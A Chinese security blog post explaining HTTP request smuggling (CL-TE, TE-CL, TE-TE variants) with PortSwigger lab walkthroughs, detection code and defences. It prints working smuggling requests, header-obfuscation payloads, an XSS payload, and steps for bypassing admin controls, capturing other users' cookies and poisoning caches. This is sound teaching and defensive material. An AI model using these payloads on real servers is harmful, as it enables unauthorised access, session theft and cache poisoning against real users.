HTTP请求走私漏洞分析

admin 2022年1月6日00:42:01评论136 views字数 17496阅读58分19秒阅读模式

基础知识

HTTP简介

HTTP协议是Hyper Text Transfer Protocol(超文本传输协议):一种无状态的、应用层的、以请求/应答方式运行的协议,它使用可扩展的语义和自描述消息格式,与基于网络的超文本信息系统灵活的互动

HTTP协议工作于客户端-服务端架构之上。浏览器作为HTTP客户端通过URL向HTTP服务端即WEB服务器发送所有请求。Web服务器根据接收到的请求后,向客户端发送响应信息。

image-20200912191232407

HTTP是一个基于TCP/IP通信协议来传递数据(HTML 文件, 图片文件, 查询结果等)。

TCP三次握手

在创建过程当中,三次握手就是代表着有三次网络传输,客户端发送一次,然后服务端返回一次,然后客户端再发送一次,这个时候才创建了tcp连接,然后才能去发送http请求

而HTTP1.0协议和HTTP1.1协议之所以不同,一部分也在于此:
在HTTP1.0里面,这个连接是在http请求创建的时候,就去创建这个tcp连接,然后连接创建完之后,请求发送过去,服务器响应之后,这个tcp连接就关闭了

在HTTP1.1协议中,可以用Keep-Alive方法去申明这个连接可以一直保持,那么第二个http请求就没有三次握手的开销,而且相较于HTTP1.0,HTTP1.1有了Pipeline,客户端可以像流水线一样发送自己的HTTP请求,而不需要等待服务器的响应,服务器那边接收到请求后,需要遵循先入先出机制,将请求和响应严格对应起来,再将响应发送给客户端。

HTTP属性

状态码

1
2
3
4
5
6
7
200 OK //客户端请求成功
400 Bad Request //客户端请求有语法错误,不能被服务器所理解
401 Unauthorized //请求未经授权,这个状态代码必须和WWW-Authenticate报头域一起使用
403 Forbidden //服务器收到请求,但是拒绝提供服务
404 Not Found //请求资源不存在,eg:输入了错误的URL
500 Internal Server Error //服务器发生不可预期的错误
503 Server Unavailable //服务器当前不能处理客户端的请求,一段时间后可能恢复正常

请求头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Accept:
表示浏览器支持的MIME类型
Accept-Encoding:
浏览器支持的压缩类型
Accept-Language
浏览器支持的语言类型,并且优先支持靠前的语言类型
Connection
当浏览器与服务器通信时对于长连接如何进行处理:close/keep-alive
Cookie
向服务器返回cookie,这些cookie是之前服务器发给浏览器的
Host:
请求的服务器URL
User-Agent:
用户使用的客户端的一些必要信息,比如操作系统、浏览器及版本、浏览器渲染引擎等。
判断是否为ajax请求如果没有该属性则说明为传统请求

响应头:

1
2
3
4
5
Server,服务端所使用的Web服务名称,如:Server:Apache/1.3.6(Unix)。
Set-Cookie:服务器向客户端设置的Cookie。
Last-Modified,服务器通过这个域告诉客户端浏览器,资源的最后修改时间。
Location:重定向用户到另一个页面,比如身份认证通过之后就会转向另一个页面。这个域通常配合302状态码使用。
Content-Length:body部分的长度(单位字节)。

发展时间线

最早在2005年,由Chaim Linhart,Amit Klein,Ronen Heled和Steve Orrin共同完成了一篇关于HTTP Request Smuggling这一攻击方式的报告。通过对整个RFC文档的分析以及丰富的实例,证明了这一攻击方式的危害性。

https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf

在2016年的DEFCON 24 上,@regilero在他的议题——Hiding Wookiees in HTTP中对前面报告中的攻击方式进行了丰富和扩充。

[https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf](https://media.defcon.org/DEF CON 24/DEF CON 24 presentations/DEF CON 24 - Regilero-Hiding-Wookiees-In-Http.pdf)

在2019年的BlackHat USA 2019上,PortSwigger的James Kettle在他的议题——HTTP Desync Attacks: Smashing into the Cell Next Door中针对当前的网络环境,展示了使用分块编码来进行攻击的攻击方式,扩展了攻击面,并且提出了完整的一套检测利用流程。

https://www.blackhat.com/us-19/briefings/schedule/

HTTP Request Smuggling最早是在2005年由Watchfire记录的,但是由于其利用条件比较苛刻,很长一段时间,Web层面的漏洞如雨后春笋般冒了出来, 就像之前的不被重视的xss一样,HTTP Request Smuggling同样被忽略了。但大神们总是能带来神奇的体验,利用此漏洞成功拿到了近70K$的奖金,这不 仅让许多互联网大厂重视了起来,也让该漏洞走进了安全爱好者的视野。

漏洞原因

keep-alive 与 pipeline

为了缓解源站的压力,一般会在用户和后端服务器(源站)之间加设前置服务器,用以缓存、简单校验、负载均衡等,而前置服务器与后端服务器往往是在可靠的网络域中,ip 也是相对固定的,所以可以重用 TCP 连接来减少频繁 TCP 握手带来的开销。这里就用到了 HTTP1.1 中的 Keep-AlivePipeline 特性:

所谓 Keep-Alive,就是在 HTTP 请求中增加一个特殊的请求头 Connection: Keep-Alive,告诉服务器,接收完这次 HTTP 请求后,不要关闭 TCP 链接,后面对相同目标服务器的 HTTP 请求,重用这一个 TCP 链接,这样只需要进行一次 TCP 握手的过程,可以减少服务器的开销,节约资源,还能加快访问速度。这个特性在 HTTP1.1 中是默认开启的。

有了 Keep-Alive 之后,后续就有了 Pipeline,在这里呢,客户端可以像流水线一样发送自己的 HTTP 请求,而不需要等待服务器的响应,服务器那边接收到请求后,需要遵循先入先出机制,将请求和响应严格对应起来,再将响应发送给客户端。现如今,浏览器默认是不启用 Pipeline 的,但是一般的服务器都提供了对 Pipleline 的支持。

在正常情况下用户发出的 HTTP 请求的流动如下图:

image-20200912191248744

这意味着突然之间,后端与前端就每个消息的结尾达成一致至关重要。否则,攻击者可能能够发送模糊的消息,该消息被后端解释为两个不同的HTTP请求:

image-20200912191259769

为了提升用户的浏览速度,提高使用体验,减轻服务器的负担,很多网站都用上了CDN加速服务,最简单的加速服务,就是在源站的前面加上一个具有缓存功能的反向代理服务器,用户在请求某些静态资源时,直接从代理服务器中就可以获取到,不用再从源站所在服务器获取。这就有了一个很典型的拓扑结构。

image-20200903192043459

一般来说,反向代理服务器与后端的源站服务器之间,会重用TCP链接。这也很容易理解,用户的分布范围是十分广泛,建立连接的时间也是不确定的,这样TCP链接就很难重用,而代理服务器与后端的源站服务器的IP地址是相对固定,不同用户的请求通过代理服务器与源站服务器建立链接,这两者之间的TCP链接进行重用,也就顺理成章了。

当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。

五种常见的走私请求

1 CL不为0的GET请求

其实在这里,影响到的并不仅仅是GET请求,所有不携带请求体的HTTP请求都有可能受此影响,只因为GET比较典型,我们把它作为一个例子。

RFC2616中,没有对GET请求像POST请求那样携带请求体做出规定,在最新的RFC7231的4.3.1节中也仅仅提了一句。

https://tools.ietf.org/html/rfc7231

sending a payload body on a GET request might cause some existing implementations to reject the request

假设前端代理服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的Content-Length头,不进行处理。这就有可能导致请求走私。

比如我们构造请求

1
2
3
4
5
6
7
GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n

GET / secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n

前端服务器收到该请求,通过读取Content-Length,判断这是一个完整的请求,然后转发给后端服务器,而后端服务器收到后,因为它不对Content-Length进行处理,由于Pipeline的存在,它就认为这是收到了两个请求,分别是

1
2
3
4
5
6
7
第一个
GET / HTTP/1.1\r\n
Host: example.com\r\n

第二个
GET / secret HTTP/1.1\r\n
Host: example.com\r\n

这就导致了请求走私

2 CL-CL

RFC7230的第3.3.3节中的第四条中,规定当服务器收到的请求中包含两个Content-Length,而且两者的值不同时,需要返回400错误。


https://tools.ietf.org/html/rfc7230

但是总有服务器不会严格的实现该规范,假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不会返回400错误,但是中间代理服务器按照第一个Content-Length的值对请求进行处理,而后端源站服务器按照第二个Content-Length的值进行处理。

此时恶意攻击者可以构造一个特殊的请求

1
2
3
4
5
6
7
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a

中间代理服务器获取到的数据包的长度为8,将上述整个数据包原封不动的转发给后端的源站服务器,而后端服务器获取到的数据包长度为7。当读取完前7个字符后,后端服务器认为已经读取完毕,然后生成对应的响应,发送出去。而此时的缓冲区去还剩余一个字母a,对于后端服务器来说,这个a是下一个请求的一部分,但是还没有传输完毕。此时恰巧有一个其他的正常用户对服务器进行了请求,假设请求如图所示。

1
2
GET /index.html HTTP/1.1\r\n
Host: example.com\r\n

从前面我们也知道了,代理服务器与源站服务器之间一般会重用TCP连接。

这时候正常用户的请求就拼接到了字母a的后面,当后端服务器接收完毕后,它实际处理的请求其实是

1
2
aGET /index.html HTTP/1.1\r\n
Host: example.com\r\n

这时候用户就会收到一个类似于aGET request method not found的报错。这样就实现了一次HTTP走私攻击,而且还对正常用户的行为造成了影响,而且后续可以扩展成类似于CSRF的攻击方式。

但是两个Content-Length这种请求包还是太过于理想化了,一般的服务器都不会接受这种存在两个请求头的请求包。但是在RFC2616的第4.4节中,规定:如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时,在处理的时候必须忽略Content-Length,这其实也就意味着请求包中同时包含这两个请求头并不算违规,服务器也不需要返回400错误。服务器在这里的实现更容易出问题。

https://tools.ietf.org/html/rfc2616

3 CL-TE

所谓CL-TE,就是当收到存在两个请求头的请求包时,前端代理服务器只处理Content-Length这一请求头,而后端服务器会遵守RFC2616的规定,忽略掉Content-Length,处理Transfer-Encoding这一请求头。

chunk传输数据格式如下,其中size的值由16进制表示。

1
[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]

Lab 地址:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

构造数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: acb51fb91e44b90480444e0700f300db.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: https://acb51fb91e44b90480444e0700f300db.web-security-academy.net/
Connection: close
Cookie: session=8PEc1O3nvJK1TMe34CRurWHbtmNlffXL
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Connection: keep-alive
Content-Length: 13
Transfer-Encoding: chunked

0

ol4three

连续发送几次请求就可以获得该响应。

image-20200904102611844

由于前端服务器处理Content-Length,所以这个请求对于它来说是一个完整的请求,请求体的长度为13,也就是

1
2
3
0\r\n
\r\n
ol4three

当请求包经过代理服务器转发给后端服务器时,后端服务器处理Transfer-Encoding,当它读取到0\r\n\r\n时,认为已经读取到结尾了,但是剩下的字母ol4three就被留在了缓冲区中,等待后续请求的到来。当我们重复发送请求后,发送的请求在后端服务器拼接成了类似下面这种请求。

1
2
3
OL4THREEPOST / HTTP/1.1\r\n
Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n
......

服务器在解析时就会产生报错。

4 TE-CL

所谓TE-CL,就是当收到存在两个请求头的请求包时,前端代理服务器处理Transfer-Encoding这一请求头,而后端服务器处理Content-Length请求头。

Lab地址:https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl

构造数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST / HTTP/1.1
Host: acd21f681f756cf681ed0710009f00f1.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: session=Ucdk8vByxAP8kqS8Ww6N7GuJ1jtDuSTE
Content-Length: 4
Transfer-Encoding: chunked

12
oPOST / HTTP/1.1

0

image-20200904102554315

由于前端服务器处理T ransfer-Encoding,当其读取到0\r\n\r\n时,认为是读取完毕了,此时这个请求对代理服务来说是一个完整的请求,然后转发给后端服务器,后端服务器处理Content-Length请求头,当它读取完12\r\n之后,就认为这个请求已经结束了,后面的数据就认为是另一个请求了,也就是

1
2
3
4
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

成功报错。

5 TE-TE

TE-TE,也很容易理解,当收到存在两个请求头的请求包时,前后端服务器都处理Transfer-Encoding请求头,这确实是实现了RFC的标准。不过前后端服务器毕竟不是同一种,这就有了一种方法,我们可以对发送的请求包中的Transfer-Encoding进行某种混淆操作,从而使其中一个服务器不处理Transfer-Encoding请求头。从某种意义上还是CL-TE或者TE-CL

Lab地址:https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header

构造数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST / HTTP/1.1
Host: acab1f6b1ec9478a801fb8a90003005b.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header
Connection: close
Cookie: session=V9iX0s5p7jOrkL0RMxDZxVvZdqMgYgjo
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow

5c
oPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0


image-20200904103359779

PortSwigger 给出了一些可用于混淆的 payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Transfer-Encoding: xchunked

Transfer-Encoding[空格]: chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[空格]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

其他攻击实例

以下是 PortSwigger 列举的攻击方式,另外还有 @Regilero 大佬的更多姿势:

https://regilero.github.io/english/security/2018/07/03/security_pound_http_smuggling/

https://regilero.github.io/english/security/2019/04/24/security_jetty_http_smuggling/

https://regilero.github.io/english/security/2019/10/17/security_apache_traffic_server_http_smuggling/

1 绕过前端服务器的安全控制

在这个网络环境中,前段服务器负责实现安全控制,只有被允许的请求才能转发给后端服务器,而后段服务器无条件的相信前端服务器转发过来的全部请求,对每个请求都进行响应。因此我们可以利用HTTP请求走私,将无法访问的请求走私给后端服务器并获得响应。在这里有两个实验,分别是使用CL-TETE-CL绕过前端的访问控制

1.1 使用CL-TE绕过前端服务器安全控制

Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-te

实验的最终目的是获取admin权限并删除用户carlos

我们直接访问/admin,会返回提示Path /admin is blocked,看样子是被前端服务器阻止了,根据题目的提示CL-TE,我们可以尝试构造数据包

image-20200912174247061

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST / HTTP/1.1
Host: ac001ff21f8e14a68000ff8100ed0001.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: session=47f6w4amWuXJBmai7o4kaxEvPqMX36QH
Content-Length: 42
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
foo: bar



进行多次请求之后,我们可以获得走私过去的请求的响应
image-20200912183708172

提示只有是以管理员身份访问或者在本地登录才可以访问/admin接口。

在下方走私的请求中,添加一个Host: localhost请求头,然后重新进行请求,一次不成功多试几次。

如图所示,我们成功访问了admin界面。也知道了如何删除一个用户,也就是对/admin/delete?username=carlos进行请求。

image-20200912183850522

修改下走私的请求包再发送几次即可成功删除用户carlos

image-20201201200221367

需要注意的一点是在这里,不需要我们对其他用户造成影响,因此走私过去的请求也必须是一个完整的请求,最后的两个\r\n不能丢弃。

1.2 使用TE-CL绕过前端服务器安全控制

Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl

这个实验与上一个就十分类似.

image-20201201200254744

2 获取前端服务器重写请求字段

在有的网络环境下,前端代理服务器在收到请求后,不会直接转发给后端服务器,而是先添加一些必要的字段,然后再转发给后端服务器。这些字段是后端服务器对请求进行处理所必须的,比如:

  • 描述TLS连接所使用的协议和密码
  • 包含用户IP地址的XFF头
  • 用户的会话令牌ID

总之,如果不能获取到代理服务器添加或者重写的字段,我们走私过去的请求就不能被后端服务器进行正确的处理。那么我们该如何获取这些值呢。PortSwigger提供了一个很简单的方法,主要是三大步骤:

  • 找一个能够将请求参数的值输出到响应中的POST请求
  • 把该POST请求中,找到的这个特殊的参数放在消息的最后面
  • 然后走私这一个请求,然后直接发送一个普通的请求,前端服务器对这个请求重写的一些字段就会显示出来。

怎么理解呢,还是做一下实验来一起来学习下吧。

Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-reveal-front-end-request-rewriting

实验的最终目的还是删除用户 carlos

我们首先进行第一步骤,找一个能够将请求参数的值输出到响应中的POST请求。

在网页上方的搜索功能就符合要求

image-20200912180347881

构造数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: acc61f801f8a522a80a1356a00b6005b.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Cookie: session=h1Ca94Fnfl4FURsBEWq2zeZy6mygOG3m
Content-Length: 78
Transfer-Encoding: chunked

0

POST / HTTP/1.1
Content-Length: 70
Connection: close

search=ol4three

多次请求之后就可以获得前端服务器添加的请求头

image-20200912181623521

这是如何获取的呢,可以从我们构造的数据包来入手,可以看到,我们走私过去的请求为

1
2
3
4
5
POST / HTTP/1.1
Content-Length: 70
Connection: close

search=ol4three

其中Content-Length的值为70,显然下面携带的数据的长度是不够70的,因此后端服务器在接收到这个走私的请求之后,会认为这个请求还没传输完毕,继续等待传输。

接着我们又继续发送相同的数据包,后端服务器接收到的是前端代理服务器已经处理好的请求,当接收的数据的总长度到达70时,后端服务器认为这个请求已经传输完毕了,然后进行响应。这样一来,后来的请求的一部分被作为了走私的请求的参数的一部分,然后从响应中表示了出来,我们就能获取到了前端服务器重写的字段。

在走私的请求上添加这个字段,然后走私一个删除用户的请求就好了。

在走私的请求上添加这个字段,然后走私一个删除用户的请求就好了。

image-20201201200353242

3 获取其他用户的请求

在上一个实验中,我们通过走私一个不完整的请求来获取前端服务器添加的字段,而字段来自于我们后续发送的请求。换句话说,我们通过请求走私获取到了我们走私请求之后的请求。如果在我们的恶意请求之后,其他用户也进行了请求呢?我们寻找的这个POST请求会将获得的数据存储并展示出来呢?这样一来,我们可以走私一个恶意请求,将其他用户的请求的信息拼接到走私请求之后,并存储到网站中,我们再查看这些数据,就能获取用户的请求了。这可以用来偷取用户的敏感信息,比如账号密码等信息。

Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests

实验的最终目的是获取其他用户的Cookie用来访问其他账号。

我们首先去寻找一个能够将传入的信息存储到网站中的POST请求表单,很容易就能发现网站中有一个用户评论的地方。

抓取POST请求并构造数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: ac661f531e07f12180eb2f1a009d0092.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: session=oGESUVlKzuczaZSzsazFsOCQ4fdLetwa
Content-Length: 267
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac661f531e07f12180eb2f1a009d0092.web-security-academy.net
Cookie: session=oGESUVlKzuczaZSzsazFsOCQ4fdLetwa
Content-Length: 400

csrf=JDqCEvQexfPihDYr08mrlMun4ZJsrpX7&postId=5&name=meng&email=email%40qq.com&website=&comment=

这样其实就足够了,但是有可能是实验环境的问题,我无论怎么等都不会获取到其他用户的请求,反而抓了一堆我自己的请求信息。不过原理就是这样,还是比较容易理解的,最重要的一点是,走私的请求是不完整的。

image-20201201200427954

4 利用反射型XSS

我们可以使用HTTP走私请求搭配反射型XSS进行攻击,这样不需要与受害者进行交互,还能利用漏洞点在请求头中的XSS漏洞。

Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss

在实验介绍中已经告诉了前端服务器不支持分块编码,目标是执行alert(1)

首先根据UA出现的位置构造Payload

image-20201201200503751

然后构造数据包

1
2
3
4
5
6
7
8
9
10
11
POST / HTTP/1.1
Host: ac801fd21fef85b98012b3a700820000.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 123
Transfer-Encoding: chunked

0

GET /post?postId=5 HTTP/1.1
User-Agent: "><script>alert(1)</script>#
Content-Type: application/x-www-form-urlencoded

此时在浏览器中访问,就会触发弹框

image-20201201200603371

再重新发一下,等一会刷新,可以看到这个实验已经解决了。

5 进行缓存投毒

一般来说,前端服务器出于性能原因,会对后端服务器的一些资源进行缓存,如果存在HTTP请求走私漏洞,则有可能使用重定向来进行缓存投毒,从而影响后续访问的所有用户。

Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-perform-web-cache-poisoning

实验环境中提供了漏洞利用的辅助服务器。

需要添加两个请求包,一个POST,携带要走私的请求包,另一个是正常的对JS文件发起的GET请求。

以下面这个JS文件为例

1
/resources/js/labHeader.js

编辑响应服务器

image-20201201200709663

构造POST走私数据包

1
2
3
4
5
6
7
8
9
10
11
12
POST / HTTP/1.1
Host: ac761f721e06e9c8803d12ed0061004f.web-security-academy.net
Content-Length: 129
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: acb11fe31e16e96b800e125a013b009f.web-security-academy.net
Content-Length: 10

123

然后构造GET数据包

1
2
3
4
GET /resources/js/labHeader.js HTTP/1.1
Host: ac761f721e06e9c8803d12ed0061004f.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Connection: close

POST请求和GET请求交替进行,多进行几次,然后访问js文件,响应为缓存的漏洞利用服务器上的文件。

image-20201201200757014

访问主页,成功弹窗,可以知道,js文件成功的被前端服务器进行了缓存。

image-20201201200845798

如何检测

检测思路来自于这里,这里提供下检测的demo

1.CL-TE

Payload:

1
2
3
4
5
6
7
8
9
10
POST / HTTP/1.1
Host: test.com
Transfer-Encoding: chunked
Content-Length: 4

1\r\n
Z\r\n
Q\r\n
\r\n
\r\n

检测思路

Content-Length为4的时候,后段chunk收到长度为1的数据快,但是没有结束标志,一直等待,导致前端响应超时(一般超过5s)

1
2
3
4
5
6
7
8
POST / HTTP/1.1
Host: test.com
Transfer-Encoding: chunked
Content-Length: 4

1\r\n
Z

Content-Length为11的时候,此时的G是一个无效的块大小值,所以请求结束,不会超时

1
2
3
4
5
6
7
8
9
POST / HTTP/1.1
Host: test.com
Transfer-Encoding: chunked
Content-Length: 11

1\r\n
Z\r\n
G\r\n
\r\n

因此如果 Content-Length 为 4的响应大于5s ,且 Content-Length 为 4的请求时间远大于 Content-Length 为 11的请求时间,说明存在漏洞。

2 TE-CL

Payload:

1
2
3
4
5
6
7
8
9
POST / HTTP/1.1
Host: test.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding : chunked

0\r\n
\r\n
X

检测思路:

Content-Length 为 6时,后端处理的Content-Length为6,但收到的数据体0\r\n\r\n,因此后端会一直等待第6个字节,直到超时。

1
2
3
4
5
6
7
8
POST / HTTP/1.1
Host: test.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding : chunked

0\r\n
\r\n

Content-Length 为 5时,后端收到的数据体0\r\n\r\n,不会超时。

1
2
3
4
5
6
7
8
POST / HTTP/1.1
Host: test.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding : chunked

0\r\n
\r\n

因此如果 Content-Length 为 6的响应大于5s ,且 Content-Length 为 6的请求时间远大于 Content-Length 为 5的请求时间,说明存在漏洞。

3 核心demo实现

因为CL-TE和TE-CL互斥,因此如果存在CL-TE就跳过TE-CL检测,但检测到存在了漏洞时,进行recheck确认后输出。

完整代码:https://github.com/jweny/HTTP-Request-Smuggling-Checker

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def check_CLTE(self):
result = self.calcTime(4, "1\r\nZ\r\nQ\r\n\r\n\r\n", 11, "1\r\nZ\r\nQ\r\n\r\n\r\n")
return result

def check_TECL(self):
result = self.calcTime(6, "0\r\n\r\nX", 5, "0\r\n\r\n")
return result

def calcTime(self, length_big_time, payload_big_time, length_small_time, payload_small_time):
# todo 判断self.payload_headers 不为空
for headers in self.payload_headers:
headers['Content-Length'] = length_big_time
big_time = self.getRespTime(headers, payload_big_time)
if not big_time:
big_time = 0
if big_time < 5:
continue
# Content-Length == 11
headers['Content-Length'] = length_small_time
small_time = self.getRespTime(headers, payload_small_time)
if not small_time:
small_time = 1
if big_time > 5 and big_time / small_time >= 5:
self.valid = True
self.type = "CL-TE"
self.result_headers = [headers]
return True
return False

如何防御

  • 禁用代理服务器与后端服务器之间的 TCP 连接重用
  • 使用 HTTP/2 协议
  • 前后端使用相同的服务器

以上的措施有的不能从根本上解决问题,而且有着很多不足,就比如禁用代理服务器和后端服务器之间的 TCP 连接重用,会增大后端服务器的压力。使用 HTTP/2 在现在的网络条件下根本无法推广使用,哪怕支持 HTTP/2 协议的服务器也会兼容 HTTP/1.1。从本质上来说,HTTP 请求走私出现的原因并不是协议设计的问题,而是不同服务器实现的问题,个人认为最好的解决方案就是严格的实现 RFC7230-7235 中所规定的的标准,但这也是最难做到的。

对于HTTP/2 能避免请求走私的原理,去查了一下HTTP/2 简介,总结一下,HTTP/1.1 的一些特性为请求走私创造了条件:

  1. 纯文本,以换行符作为分隔符

  2. 序列和阻塞机制

而在HTTP/2 中已经没有了产生请求走私的机会

  1. 使用二进制编码且分割为更小的传输单位(帧,拥有编号,可乱序传输
  2. 同一个来源的所有通信都在一个 TCP 连接上完成,此连接可以承载任意数量的双向数据流
1
With the new binary framing mechanism in place, HTTP/2 no longer needs multiple TCP connections to multiplex streams in parallel; each stream is split into many frames, which can be interleaved and prioritized. As a result, all HTTP/2 connections are persistent, and only one connection per origin is required, which offers numerous performance benefits.

参考链接:

https://paper.seebug.org/1048/

https://xz.aliyun.com/t/7501

https://xz.aliyun.com/t/6631

HTTP pipelining

HTTP/2 简介

https://i.blackhat.com/USA-19/Wednesday/us-19-Kettle-HTTP-Desync-Attacks-Smashing-Into-The-Cell-Next-Door.pdf

https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn

https://portswigger.net/web-security/request-smuggling/exploiting

https://blog.riskivy.com/流量夹带http-request-smuggling-检测方案的实现/

https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn

https://paper.seebug.org/1048/

FROM :ol4three.com | Author:ol4three

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日00:42:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTTP请求走私漏洞分析https://cn-sec.com/archives/720848.html

发表评论

匿名网友 填写信息